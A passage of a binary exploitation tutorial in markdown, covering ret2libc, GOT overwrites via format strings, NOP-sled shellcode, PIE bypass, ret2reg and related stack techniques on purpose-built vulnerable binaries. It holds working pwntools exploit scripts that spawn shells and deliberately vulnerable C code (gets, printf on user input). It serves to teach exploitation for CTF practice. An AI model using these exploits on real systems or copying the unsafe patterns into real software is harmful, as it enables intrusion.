43 | {% endhint %}
44 |
45 | ## Exploitation
46 |
47 | Much of this is as we did with PIE.
48 |
49 | ```python
50 | from pwn import *
51 |
52 | elf = context.binary = ELF('./vuln-32')
53 | libc = elf.libc
54 | p = process()
55 | ```
56 |
57 | Note that we include the libc here - this is just another `ELF` object that makes our lives easier.
58 |
59 | Parse the address of system and calculate libc base from that \(as we did with PIE\):
60 |
61 | ```python
62 | p.recvuntil('at: ')
63 | system_leak = int(p.recvline(), 16)
64 |
65 | libc.address = system_leak - libc.sym['system']
66 | log.success(f'LIBC base: {hex(libc.address)}')
67 | ```
68 |
69 | Now we can finally ret2libc, using the `libc` `ELF` object to really simplify it for us:
70 |
71 | ```python
72 | payload = flat(
73 | 'A' * 32,
74 | libc.sym['system'],
75 | 0x0, # return address
76 | next(libc.search(b'/bin/sh'))
77 | )
78 |
79 | p.sendline(payload)
80 |
81 | p.interactive()
82 | ```
83 |
84 | ### Final Exploit
85 |
86 | ```python
87 | from pwn import *
88 |
89 | elf = context.binary = ELF('./vuln-32')
90 | libc = elf.libc
91 | p = process()
92 |
93 | p.recvuntil('at: ')
94 | system_leak = int(p.recvline(), 16)
95 |
96 | libc.address = system_leak - libc.sym['system']
97 | log.success(f'LIBC base: {hex(libc.address)}')
98 |
99 | payload = flat(
100 | 'A' * 32,
101 | libc.sym['system'],
102 | 0x0, # return address
103 | next(libc.search(b'/bin/sh'))
104 | )
105 |
106 | p.sendline(payload)
107 |
108 | p.interactive()
109 | ```
110 |
111 | ## 64-bit
112 |
113 | Try it yourself :\)
114 |
115 | {% file src="../../../.gitbook/assets/aslr-64.zip" caption="ASLR - 64-bit" %}
116 |
117 | ## Using pwntools
118 |
119 | If you prefer, you could have changed the following payload to be more pwntoolsy:
120 |
121 | ```python
122 | payload = flat(
123 | 'A' * 32,
124 | libc.sym['system'],
125 | 0x0, # return address
126 | next(libc.search(b'/bin/sh'))
127 | )
128 |
129 | p.sendline(payload)
130 | ```
131 |
132 | Instead, you could do:
133 |
134 | ```python
135 | binsh = next(libc.search(b'/bin/sh'))
136 |
137 | rop = ROP(libc)
138 | rop.raw('A' * 32)
139 | rop.system(binsh)
140 |
141 | p.sendline(rop.chain())
142 | ```
143 |
144 | The benefit of this is it's \(arguably\) more readable, but also makes it much easier to reuse in 64-bit exploits as all the parameters are automatically resolved for you.
145 |
146 |
--------------------------------------------------------------------------------
/binexp/stack/de-bruijn-sequences.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: The better way to calculate offsets
3 | ---
4 |
5 | # De Bruijn Sequences
6 |
7 | De Bruijn sequences of order `n` is simply a sequence where no string of `n` characters is repeated. This makes finding the offset until EIP much simpler - we can just pass in a De Bruijn sequence, get the value within EIP and find the **one possible match** within the sequence to calculate the offset. Let's do this on the **ret2win** binary.
8 |
9 | ### Generating the Pattern
10 |
11 | Again, `radare2` comes with a nice command-line tool \(called `ragg2`\) that can generate it for us. Let's create a sequence of length `100`.
12 |
13 | ```text
14 | $ ragg2 -P 100 -r
15 | AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAh
16 | ```
17 |
18 | The `-P` specifies the length while `-r` tells it to show ascii bytes rather than hex pairs.
19 |
20 | ### Using the Pattern
21 |
22 | Now we have the pattern, let's just input it in `radare2` when prompted for input, make it crash and then calculate how far along the sequence the EIP is. Simples.
23 |
24 | ```text
25 | $ r2 -d -A vuln
26 |
27 | [0xf7ede0b0]> dc
28 | Overflow me
29 | AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAh
30 | child stopped with signal 11
31 | [+] SIGNAL 11 errno=0 addr=0x41534141 code=1 ret=0
32 | ```
33 |
34 | The address it crashes on is `0x41534141`; we can use `radare2`'s in-built `wopO` command to work out the offset.
35 |
36 | ```text
37 | [0x41534141]> wopO 0x41534141
38 | 52
39 | ```
40 |
41 | Awesome - we get the correct value!
42 |
43 | We can also be lazy and not copy the value.
44 |
45 | ```text
46 | [0x41534141]> wopO `dr eip`
47 | 52
48 | ```
49 |
50 | The backticks means the `dr eip` is calculated first, before the `wopO` is run on the result of it.
51 |
52 |
--------------------------------------------------------------------------------
/binexp/stack/exploiting-over-sockets/README.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: File Descriptors and Sockets
3 | ---
4 |
5 | # Exploiting over Sockets
6 |
7 | ## Overview
8 |
9 | **File Descriptors** are integers that represent conections to sockets or files or whatever you're connecting to. In Unix systems, there are `3` main file descriptors \(often abbreviated **fd**\) for each application:
10 |
11 | | Name | fd |
12 | | :--- | :--- |
13 | | `stdin` | 0 |
14 | | `stdout` | 1 |
15 | | `stderr` | 2 |
16 |
17 | These are, as shown above, **standard input**, **output** and **error**. You've probably used them before yourself, for example to hide errors when running commands:
18 |
19 | ```bash
20 | find / -name secret.txt 2>/dev/null
21 | ```
22 |
23 | Here you're piping `stderr` to `/dev/null`, which is the same principle.
24 |
25 | ## File Descriptors and Sockets
26 |
27 | Many binaries in CTFs use programs such as `socat` to redirect `stdin` and `stdout` \(and sometimes `stderr`\) to the user when they connect. These are super simple and often require no more than a replacement of
28 |
29 | ```python
30 | p = process()
31 | ```
32 |
33 | With the line
34 |
35 | ```python
36 | p = remote(host, port)
37 | ```
38 |
39 | Others, however, implement their own socket programming in C. In these scenarios, `stdin` and `stdout` may not be shown back to the user.
40 |
41 | The reason for this is every new connection has a **different fd**. If you listen in C, since fd 0-2 is reserved, the listening socket will often be assigned fd `3`. Once we connect, we set up another fd, fd `4` \(neither the `3` nor the `4` is certain, but statistically likely\).
42 |
43 | ## Exploitation with File Desciptors
44 |
45 | In these scenarios, it's just as simple to pop a shell. This shell, however, is not shown back to the user - it's shown back to the terminal running the server. Why? Because it utilises fd `0`, `1` and `2` for its I/O.
46 |
47 | Here we have to tell the program to **duplicate** the file descriptor in order to redirect `stdin` and `stderr` to fd `4`, and glibc provides a simple way to do so.
48 |
49 | The `dup` syscall \(and C function\) duplicates the fd and uses the lowest-numbered free fd. However, we need to ensure it's fd `4` that's used, so we can use `dup2()`. `dup2` takes in two parameters: a `newfd` and an `oldfd`. Descriptor `oldfd` is duplicated to `newfd`, allowing us to interact with `stdin` and `stdout` and actually use any shell we may have popped.
50 |
51 | Note that the [man page](https://man7.org/linux/man-pages/man2/dup.2.html) outlines how if `newfd` is in use it is silently closed, which is exactly what we wish.
52 |
53 |
--------------------------------------------------------------------------------
/binexp/stack/exploiting-over-sockets/socat.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: More on socat
3 | ---
4 |
5 | # Socat
6 |
7 | `socat` is a "multipurpose relay" often used to serve binary exploitation challenges in CTFs. Essentially, it transfers `stdin` and `stdout` to the socket and _also_ allows simple forking capabilities. The following is an example of how you could host a binary on port `5000`:
8 |
9 | ```text
10 | socat tcp-l:5000,reuseaddr,fork EXEC:"./vuln",pty,stderr
11 | ```
12 |
13 | Most of the command is fairly logical \(and the rest you can look up\). The important part is that in this scenario we don't have to [redirect file descriptors](./), as `socat` does it all for us.
14 |
15 | What **is** important, however, is `pty` mode. Because `pty` mode allows you to communicate with the process as if you were a user, it takes in input literally - **including DELETE characters**. If you send a `\x7f` - a `DELETE` - it will **literally** delete the previous character \(as shown shortly in my [_Dream Diary: Chapter 1_](https://ir0nstone.gitbook.io/hackthebox/challenges/dream-diary-chapter-1/unlink-exploit#moving-to-remote) writeup\). This is incredibly relevant because in 64-bit the `\x7f` is almost always present in glibc addresses, so it's not quite so possible to avoid \(although you _could_ keep rerunning the exploit until the rare occasion you get an `0x7e...` libc base\).
16 |
17 | To bypass this we use the `socat` `pty` escape character `\x16` and prepend it to any `\x7f` we send across.
18 |
19 |
--------------------------------------------------------------------------------
/binexp/stack/forking-processes.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: Flaws with fork()
3 | ---
4 |
5 | # Forking Processes
6 |
7 | Some processes use `fork()` to deal with multiple requests at once, most notably servers.
8 |
9 | An interesting side-effect of `fork()` is that memory is copied **exactly**. This means everything is identical - ELF base, libc base, **canaries**.
10 |
11 | This "shared" memory is interesting from an attacking point of view as it allows us to do a **byte-by-byte bruteforce**. Simply put, if there is a response from the server when we send a message, we can work out when it crashed. We keep spamming bytes until there's a response. If the server crashes, the byte is wrong. If not, it's correct.
12 |
13 | This allows us to bruteforce the RIP one byte at a time, essentially leaking PIE - and the same thing for canaries and RBP. 24 bytes of multithreaded bruteforce, and once you leak all of those you can bypass a canary, get a stack leak from RBP and PIE base from RIP.
14 |
15 | I won't be making a binary for this \(yet\), but you can check out [ippsec's Rope writeup](https://www.youtube.com/watch?v=GTQxZlr5yvE) for HTB - Rope root was this exact technique.
16 |
17 |
--------------------------------------------------------------------------------
/binexp/stack/got-overwrite/README.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: Hijacking functions
3 | ---
4 |
5 | # GOT Overwrite
6 |
7 | You may remember that the GOT stores the actual locations in `libc` of functions. Well, if we could overwrite an entry, we could gain code execution that way. Imagine the following code:
8 |
9 | ```c
10 | char buffer[20];
11 | gets(buffer);
12 | printf(buffer);
13 | ```
14 |
15 | Not only is there a buffer overflow and format string vulnerability here, but say we used that format string to overwrite the GOT entry of `printf` with the location of `system`. The code would essentially look like the following:
16 |
17 | ```c
18 | char buffer[20];
19 | gets(buffer);
20 | system(buffer);
21 | ```
22 |
23 | Bit of an issue? Yes. Our input is being passed directly to `system`.
24 |
25 |
--------------------------------------------------------------------------------
/binexp/stack/got-overwrite/exploiting-a-got-overwrite.md:
--------------------------------------------------------------------------------
1 | # Exploiting a GOT overwrite
2 |
3 | ## Source
4 |
5 | {% file src="../../../.gitbook/assets/got-overwrite-32.zip" caption="GOT Overwrite - 32-bit" %}
6 |
7 | The very simplest of possible GOT-overwrite binaries.
8 |
9 | ```c
10 | #include
11 |
12 | void vuln() {
13 | char buffer[300];
14 |
15 | while(1) {
16 | fgets(buffer, sizeof(buffer), stdin);
17 |
18 | printf(buffer);
19 | puts("");
20 | }
21 | }
22 |
23 | int main() {
24 | vuln();
25 |
26 | return 0;
27 | }
28 | ```
29 |
30 | Infinite loop which takes in your input and prints it out to you using `printf` - no buffer overflow, just format string. Let's assume ASLR is disabled - have a go yourself :\)
31 |
32 | ## Exploitation
33 |
34 | As per usual, set it all up
35 |
36 | ```python
37 | from pwn import *
38 |
39 | elf = context.binary = ELF('./got_overwrite-32')
40 | libc = elf.libc
41 | libc.address = 0xf7dc2000 # ASLR disabled
42 |
43 | p = process()
44 | ```
45 |
46 | Now, to do the `%n` overwrite, we need to find the offset until we start reading the buffer.
47 |
48 | ```text
49 | $ ./got_overwrite
50 |
51 | %p %p %p %p %p %p
52 | 0x12c 0xf7fa7580 0x8049191 0x340 0x25207025 0x70252070
53 | ```
54 |
55 | Looks like it's the 5th.
56 |
57 | ```text
58 | $./got_overwrite
59 |
60 | %5$p
61 | 0x70243525
62 | ```
63 |
64 | Yes it is!
65 |
66 | ```python
67 | payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
68 | p.sendline(payload)
69 |
70 | p.clean()
71 |
72 | p.interactive()
73 | ```
74 |
75 | Now, next time `printf` gets called on your input it'll actually be `system`!
76 |
77 | If the buffer is restrictive, you can always send `/bin/sh` to get you into a shell and run longer commands.
78 |
79 | ### Final Exploit
80 |
81 | ```python
82 | from pwn import *
83 |
84 | elf = context.binary = ELF('./got_overwrite-32')
85 | libc = elf.libc
86 | libc.address = 0xf7dc2000 # ASLR disabled
87 |
88 | p = process()
89 |
90 | payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
91 | p.sendline(payload)
92 |
93 | p.clean()
94 |
95 | p.sendline('/bin/sh')
96 |
97 | p.interactive()
98 | ```
99 |
100 | ## 64-bit
101 |
102 | You'll never guess. That's right! You can do this one by yourself.
103 |
104 | {% file src="../../../.gitbook/assets/got-overwrite-64.zip" caption="GOT Overwrite - 64-bit" %}
105 |
106 | ## ASLR Enabled
107 |
108 | If you want an additional challenge, re-enable ASLR and do the 32-bit and 64-bit exploits again; you'll have to leverage what we've covered previously.
109 |
110 | {% file src="../../../.gitbook/assets/got-overwrite-aslr.zip" caption="GOT Overwrite - ASLR Exploit Scripts" %}
111 |
112 |
--------------------------------------------------------------------------------
/binexp/stack/no-execute.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: The defence against shellcode
3 | ---
4 |
5 | # No eXecute
6 |
7 | As you can expect, programmers were hardly pleased that people could inject their own instructions into the program. The NX bit, which stands for No eXecute, defines areas of memory as either **instructions** or **data**. This means that your input will be stored as **data**, and any attempt to run it as instructions will crash the program, effectively neutralising shellcode.
8 |
9 | To get around NX, exploit developers have to leverage a technique called **ROP**, Return-Oriented Programming.
10 |
11 | {% hint style="info" %}
12 | The Windows version of NX is DEP, which stands for **D**ata **E**xecution **P**revention
13 | {% endhint %}
14 |
15 | #### Checking for NX
16 |
17 | You can either use pwntools' `checksec` or `rabin2`.
18 |
19 | ```text
20 | $ checksec vuln
21 | [*] 'vuln'
22 | Arch: i386-32-little
23 | RELRO: Partial RELRO
24 | Stack: No canary found
25 | NX: NX disabled
26 | PIE: No PIE (0x8048000)
27 | RWX: Has RWX segments
28 | ```
29 |
30 | ```text
31 | $ rabin2 -I vuln
32 | [...]
33 | nx false
34 | [...]
35 | ```
36 |
37 |
--------------------------------------------------------------------------------
/binexp/stack/nops.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: More reliable shellcode exploits
3 | ---
4 |
5 | # NOPs
6 |
7 | NOP \(no operation\) instructions do exactly what they sound like: _nothing_. Which makes then very useful for shellcode exploits, because all they will do is run the next instruction. If we pad our exploits on the left with NOPs and point EIP at the middle of them, it'll simply keep doing no instructions until it reaches our actual shellcode. This allows us a greater margin of error as a shift of a few bytes forward or backwards won't really affect it, it'll just run a different number of NOP instructions - which have the same end result of running the shellcode. This padding with NOPs is often called a NOP slide or NOP sled, since the EIP is essentially sliding down them.
8 |
9 | In intel x86 assembly, NOP instructions are `\x90`.
10 |
11 | {% hint style="info" %}
12 | The NOP instruction actually used to stand for `XCHG EAX, EAX`, which does effectively nothing. You can read a bit more about it [on this StackOverflow question](https://stackoverflow.com/questions/25008772/whats-the-difference-between-the-x86-nop-and-fnop-instructions/25053039).
13 | {% endhint %}
14 |
15 | ### Updating our Shellcode Exploit
16 |
17 | We can make slight changes to our exploit to do two things:
18 |
19 | * Add a large number of NOPs on the left
20 | * Adjust our return pointer to point at the middle of the NOPs rather than the buffer start
21 |
22 | {% hint style="warning" %}
23 | Make sure ASLR is still disabled. If you have to disable it again, you may have to readjust your previous exploit as the buffer location my be different.
24 | {% endhint %}
25 |
26 | ```python
27 | from pwn import *
28 |
29 | context.binary = ELF('./vuln')
30 |
31 | p = process()
32 |
33 | payload = b'\x90' * 240 # The NOPs
34 | payload += asm(shellcraft.sh()) # The shellcode
35 | payload = payload.ljust(312, b'A') # Padding
36 | payload += p32(0xffffcfb4 + 120) # Address of the buffer + half nop length
37 |
38 | log.info(p.clean())
39 |
40 | p.sendline(payload)
41 |
42 | p.interactive()
43 | ```
44 |
45 | {% hint style="warning" %}
46 | It's probably worth mentioning that shellcode with NOPs is not failsafe; if you receive unexpected errors padding with NOPs but the shellcode worked before, try reducing the length of the nopsled as it may be tampering with other things on the stack
47 | {% endhint %}
48 |
49 | Note that NOPs are only `\x90` in certain architectures, and if you need others you can use pwntools:
50 |
51 | ```python
52 | nop = asm(shellcraft.nop())
53 | ```
54 |
55 |
--------------------------------------------------------------------------------
/binexp/stack/one-gadgets-and-malloc-hook.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: Quick shells and pointers
3 | ---
4 |
5 | # One Gadgets and Malloc Hook
6 |
7 | A `one_gadget` is simply an `execve("/bin/sh")` command that is present in gLIBC, and this can be a quick win with GOT overwrites - next time the function is called, the `one_gadget` is executed and the shell is popped.
8 |
9 | `__malloc_hook` is a feature in C. The [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html) defines `__malloc_hook` as:
10 |
11 | > The value of this variable is a pointer to the function that `malloc` uses whenever it is called.
12 |
13 | To summarise, when you call `malloc()` the function `__malloc_hook` points to also gets called - so if we can overwrite this with, say, a `one_gadget`, and somehow trigger a call to `malloc()`, we can get an easy shell.
14 |
15 | #### Finding One\_Gadgets
16 |
17 | Luckily there is a tool written in **Ruby** called `one_gadget`. To install it, run:
18 |
19 | ```text
20 | gem install one_gadget
21 | ```
22 |
23 | And then you can simply run
24 |
25 | ```text
26 | one_gadget libc
27 | ```
28 |
29 | {% hint style="info" %}
30 | For most one\_gadgets, certain criteria have to be met. This means they won't all work - in fact, **none** of them may work.
31 | {% endhint %}
32 |
33 | #### Triggering malloc\(\)
34 |
35 | Wait a sec - isn't `malloc()` a _heap_ function? How will we use it on the stack? Well, you can actually trigger `malloc` by calling `printf("%10000$c")` \(this allocates too many bytes for the stack, forcing libc to allocate the space on the heap instead\). So, if you have a format string vulnerability, calling malloc is trivial.
36 |
37 | #### Practise
38 |
39 | This is a hard technique to give you practise on, due to the fact that your `libc` version may not even have working `one_gadgets`. As such, feel free to play around with the GOT overwrite binary and see if you can get a `one_gadget` working.
40 |
41 | Remember, the value given by the `one_gadget` tool needs to be added to libc base as it's just an offset.
42 |
43 |
--------------------------------------------------------------------------------
/binexp/stack/pie/README.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: Position Independent Code
3 | ---
4 |
5 | # PIE
6 |
7 | ## Overview
8 |
9 | PIE stands for **Position Independent Executable**, which means that every time you run the file it gets **loaded into a different memory address**. This means you cannot hardcode values such as function addresses and gadget locations without finding out where they are.
10 |
11 | ## Analysis
12 |
13 | Luckily, this does _not_ mean it's impossible to exploit. PIE executables are based around **relative** rather than **absolute** addresses, meaning that while the locations in memory are fairly random the offsets between different **parts of the binary** remain **constant**. For example, if you know that the function `main` is located `0x128` bytes in memory after the base address of the binary, and you somehow find the location of `main`, you can simply subtract `0x128` from this to get the base address and from the addresses of everything else.
14 |
15 | ## Exploitation
16 |
17 | So, all we need to do is find a _single_ address and PIE is bypassed. Where could we leak this address from?
18 |
19 | The stack of course!
20 |
21 | We know that the **return pointer** is located on the stack - and much like a canary, we can use format string \(or other ways\) to read the value off the stack. The value will always be a static offset away from the binary base, enabling us to completely bypass PIE!
22 |
23 | ## Double-Checking
24 |
25 | Due to the way PIE randomisation works, the base address of a PIE executable will **always** end in the hexadecimal characters `000`. This is because **pages** are the things being randomised in memory, which have a standard size of `0x1000`. Operating Systems keep track of page tables which point to each section of memory and define the permissions for each section, similar to segmentation.
26 |
27 | Checking the base address ends in `000` should _probably_ be the first thing you do if your exploit is not working as you expected.
28 |
29 |
--------------------------------------------------------------------------------
/binexp/stack/pie/pie-bypass.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: Using format string
3 | ---
4 |
5 | # PIE Bypass
6 |
7 | ## The Source
8 |
9 | {% file src="../../../.gitbook/assets/pie-fmtstr.zip" caption="PIE + Format String - 32-bit" %}
10 |
11 | ```c
12 | #include
13 |
14 | void vuln() {
15 | char buffer[20];
16 |
17 | printf("What's your name?\n");
18 | gets(buffer);
19 |
20 | printf("Nice to meet you ");
21 | printf(buffer);
22 | printf("\n");
23 |
24 | puts("What's your message?");
25 |
26 | gets(buffer);
27 | }
28 |
29 | int main() {
30 | vuln();
31 |
32 | return 0;
33 | }
34 |
35 | void win() {
36 | puts("PIE bypassed! Great job :D");
37 | }
38 | ```
39 |
40 | Unlike last time, we don't get given a function. We'll have to leak it with format strings.
41 |
42 | ## Analysis
43 |
44 | ```text
45 | $ ./vuln-32
46 |
47 | What's your name?
48 | %p
49 | Nice to meet you 0xf7f6d080
50 | What's your message?
51 | hello
52 | ```
53 |
54 | Everything's as we expect.
55 |
56 | ## Exploitation
57 |
58 | ### Setup
59 |
60 | As last time, first we set everything up.
61 |
62 | ```python
63 | from pwn import *
64 |
65 | elf = context.binary = ELF('./vuln-32')
66 | p = process()
67 | ```
68 |
69 | ### PIE Leak
70 |
71 | Now we just need a leak. Let's try a few offsets.
72 |
73 | ```text
74 | $ ./vuln-32
75 | What's your name?
76 | %p %p %p %p %p
77 | Nice to meet you 0xf7eee080 (nil) 0x565d31d5 0xf7eb13fc 0x1
78 | ```
79 |
80 | 3rd one looks like a binary address, let's check the difference between the 3rd leak and the base address in radare2. Set a breakpoint somewhere after the format string leak \(doesn't really matter where\).
81 |
82 | ```text
83 | $ r2 -d -A vuln-32
84 |
85 | Process with PID 5548 started...
86 | = attach 5548 5548
87 | bin.baddr 0x565ef000
88 | 0x565f01c9]> db 0x565f0234
89 | [0x565f01c9]> dc
90 | What's your name?
91 | %3$p
92 | Nice to meet you 0x565f01d5
93 | ```
94 |
95 | We can see the base address is `0x565ef000` and the leaked value is `0x565f01d5`. Therefore, subtracting `0x1d5` from the leaked address should give us the binary. Let's leak the value and get the base address.
96 |
97 | ```python
98 | p.recvuntil('name?\n')
99 | p.sendline('%3$p')
100 |
101 | p.recvuntil('you ')
102 | elf_leak = int(p.recvline(), 16)
103 |
104 | elf.address = elf_leak - 0x11d5
105 | log.success(f'PIE base: {hex(elf.address)}') # not required, but a nice check
106 | ```
107 |
108 | Now we just need to send the exploit payload.
109 |
110 | ```python
111 | payload = b'A' * 32
112 | payload += p32(elf.sym['win'])
113 |
114 | p.recvuntil('message?\n')
115 | p.sendline(payload)
116 |
117 | print(p.clean().decode())
118 | ```
119 |
120 | ### Final Exploit
121 |
122 | ```python
123 | from pwn import *
124 |
125 | elf = context.binary = ELF('./vuln-32')
126 | p = process()
127 |
128 | p.recvuntil('name?\n')
129 | p.sendline('%3$p')
130 |
131 | p.recvuntil('you ')
132 | elf_leak = int(p.recvline(), 16)
133 |
134 | elf.address = elf_leak - 0x11d5
135 | log.success(f'PIE base: {hex(elf.address)}')
136 |
137 | payload = b'A' * 32
138 | payload += p32(elf.sym['win'])
139 |
140 | p.recvuntil('message?\n')
141 | p.sendline(payload)
142 |
143 | print(p.clean().decode())
144 | ```
145 |
146 | ## 64-bit
147 |
148 | Same deal, just 64-bit. Try it out :\)
149 |
150 | {% file src="../../../.gitbook/assets/pie-fmtstr-64.zip" caption="PIE + Format String - 64-bit" %}
151 |
152 |
153 |
154 |
--------------------------------------------------------------------------------
/binexp/stack/pie/pwntools-pie-and-rop.md:
--------------------------------------------------------------------------------
1 | # Pwntools, PIE and ROP
2 |
3 | As shown in the [pwntools ELF tutorial](../../../misc/pwntools/elf.md), pwntools has a host of functionality that allows you to really make your exploit dynamic. Simply setting `elf.address` will automatically update all the function and symbols addresses for you, meaning you don't have to worry about using `readelf` or other command line tools, but instead can receive it all dynamically.
4 |
5 | Not to mention that the [ROP capabilities](https://ironstone.gitbook.io/notes/pwntools/rop) are incredibly powerful as well.
6 |
--------------------------------------------------------------------------------
/binexp/stack/reliable-shellcode/README.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: 'Shellcode, but without the guesswork'
3 | ---
4 |
5 | # Reliable Shellcode
6 |
7 | ## Utilising ROP
8 |
9 | The problem with shellcode exploits as they are is that the locations of it are questionable - wouldn't it be cool if we could control where we wrote it to?
10 |
11 | Well, we can.
12 |
13 | Instead of writing shellcode directly, we can instead use some ROP to take in input again - except this time, we specify the location as somewhere we control.
14 |
15 | ## Using ESP
16 |
17 | If you think about it, once the return pointer is popped off the stack ESP will points at whatever is after it in memory - after all, that's the entire basis of ROP. But what if we put shellcode there?
18 |
19 | It's a crazy idea. But remember, ESP will point there. So what if we overwrite the return pointer with a `jmp esp` gadget! Once it gets popped off, ESP will point at the shellcode and thanks to the `jmp esp` it will be executed!
20 |
21 | ## ret2reg
22 |
23 | **ret2reg** extends the use of `jmp esp` to the use of _any_ register that happens to point somewhere you need it to.
24 |
25 |
--------------------------------------------------------------------------------
/binexp/stack/reliable-shellcode/ret2reg/README.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: Using Registers to bypass ASLR
3 | ---
4 |
5 | # ret2reg
6 |
7 | **ret2reg** simply involves jumping to register addresses rather than hardcoded addresses, much like [Using RSP for Shellcode](../using-rsp.md). For example, you may find RAX _always_ points at your buffer when the `ret` is executed, so you could utilise a `call rax` or `jmp rax` to continue from there.
8 |
9 | The reason RAX is the most common for this technique is that, by _convention_, the return value of a function is stored in RAX. For example, take the following basic code:
10 |
11 | ```c
12 | #include
13 |
14 | int test() {
15 | return 0xdeadbeef;
16 | }
17 |
18 | int main() {
19 | test();
20 | return 0;
21 | }
22 | ```
23 |
24 | If we compile and disassemble the function, we get this:
25 |
26 | ```text
27 | 0x55ea94f68125 55 push rbp
28 | 0x55ea94f68126 4889e5 mov rbp, rsp
29 | 0x55ea94f68129 b8efbeadde mov eax, 0xdeadbeef
30 | 0x55ea94f6812e 5d pop rbp
31 | 0x55ea94f6812f c3 ret
32 | ```
33 |
34 | As you can see, the value `0xdeadbeef` is being moved into EAX.
35 |
36 |
--------------------------------------------------------------------------------
/binexp/stack/reliable-shellcode/ret2reg/using-ret2reg.md:
--------------------------------------------------------------------------------
1 | # Using ret2reg
2 |
3 | ## Source
4 |
5 | Any function that returns a pointer to the string once it acts on it is a prime target. There are many that do this, including stuff like `gets()`, `strcpy()` and `fgets()`. We''l keep it simple and use `gets()` as an example.
6 |
7 | ```c
8 | #include
9 |
10 | void vuln() {
11 | char buffer[100];
12 | gets(buffer);
13 | }
14 |
15 | int main() {
16 | vuln();
17 | return 0;
18 | }
19 | ```
20 |
21 | ## Analysis
22 |
23 | First, let's make sure that some register _does_ point to the buffer:
24 |
25 | ```text
26 | $ r2 -d -A vuln
27 |
28 | [0x7f8ac76fa090]> pdf @ sym.vuln
29 | ; CALL XREF from main @ 0x401147
30 | ┌ 28: sym.vuln ();
31 | │ ; var int64_t var_70h @ rbp-0x70
32 | │ 0x00401122 55 push rbp
33 | │ 0x00401123 4889e5 mov rbp, rsp
34 | │ 0x00401126 4883ec70 sub rsp, 0x70
35 | │ 0x0040112a 488d4590 lea rax, [var_70h]
36 | │ 0x0040112e 4889c7 mov rdi, rax
37 | │ 0x00401131 b800000000 mov eax, 0
38 | │ 0x00401136 e8f5feffff call sym.imp.gets ; char *gets(char *s)
39 | │ 0x0040113b 90 nop
40 | │ 0x0040113c c9 leave
41 | └ 0x0040113d c3 ret
42 | ```
43 |
44 | Now we'll set a breakpoint on the `ret` in `vuln()`, continue and enter text`.`
45 |
46 | ```text
47 | [0x7f8ac76fa090]> db 0x0040113d
48 | [0x7f8ac76fa090]> dc
49 | hello
50 | hit breakpoint at: 40113d
51 | ```
52 |
53 | We've hit the breakpoint, let's check if RAX points to our register. We'll assume RAX first because that's the traditional register to use for the return value.
54 |
55 | ```text
56 | [0x0040113d]> dr rax
57 | 0x7ffd419895c0
58 | [0x0040113d]> ps @ 0x7ffd419895c0
59 | hello
60 | ```
61 |
62 | And indeed it does!
63 |
64 | ## Exploitation
65 |
66 | We now just need a `jmp rax` gadget or equivalent. I'll use [ROPgadget](https://github.com/JonathanSalwan/ROPgadget) for this and look for either `jmp rax` or `call rax`:
67 |
68 | ```text
69 | $ ROPgadget --binary vuln | grep -iE "(jmp|call) rax"
70 |
71 | 0x0000000000401009 : add byte ptr [rax], al ; test rax, rax ; je 0x401019 ; call rax
72 | 0x0000000000401010 : call rax
73 | 0x000000000040100e : je 0x401014 ; call rax
74 | 0x0000000000401095 : je 0x4010a7 ; mov edi, 0x404030 ; jmp rax
75 | 0x00000000004010d7 : je 0x4010e7 ; mov edi, 0x404030 ; jmp rax
76 | 0x000000000040109c : jmp rax
77 | 0x0000000000401097 : mov edi, 0x404030 ; jmp rax
78 | 0x0000000000401096 : or dword ptr [rdi + 0x404030], edi ; jmp rax
79 | 0x000000000040100c : test eax, eax ; je 0x401016 ; call rax
80 | 0x0000000000401093 : test eax, eax ; je 0x4010a9 ; mov edi, 0x404030 ; jmp rax
81 | 0x00000000004010d5 : test eax, eax ; je 0x4010e9 ; mov edi, 0x404030 ; jmp rax
82 | 0x000000000040100b : test rax, rax ; je 0x401017 ; call rax
83 | ```
84 |
85 | There's a `jmp rax` at `0x40109c`, so I'll use that. The padding up until RIP is `120`; I assume you can calculate this yourselves by now, so I won't bother showing it.
86 |
87 | ```python
88 | from pwn import *
89 |
90 | elf = context.binary = ELF('./vuln')
91 | p = process()
92 |
93 | JMP_RAX = 0x40109c
94 |
95 | payload = asm(shellcraft.sh()) # front of buffer <- RAX points here
96 | payload = payload.ljust(120, b'A') # pad until RIP
97 | payload += p64(JMP_RAX) # jump to the buffer - return value of gets()
98 |
99 | p.sendline(payload)
100 | p.interactive()
101 | ```
102 |
103 | 
104 |
105 | Awesome!
106 |
107 |
--------------------------------------------------------------------------------
/binexp/stack/reliable-shellcode/rop-and-shellcode.md:
--------------------------------------------------------------------------------
1 | # ROP and Shellcode
2 |
3 | ## Source
4 |
5 | {% file src="../../../.gitbook/assets/reliable\_shellcode-32.zip" caption="Reliable Shellcode - 32-bit" %}
6 |
7 | ```c
8 | #include
9 |
10 | void vuln() {
11 | char buffer[20];
12 |
13 | puts("Give me the input");
14 |
15 | gets(buffer);
16 | }
17 |
18 | int main() {
19 | vuln();
20 |
21 | return 0;
22 | }
23 | ```
24 |
25 | Super standard binary.
26 |
27 | ## Exploitation
28 |
29 | Let's get all the basic setup done.
30 |
31 | ```python
32 | from pwn import *
33 |
34 | elf = context.binary = ELF('./vuln-32')
35 | p = process()
36 | ```
37 |
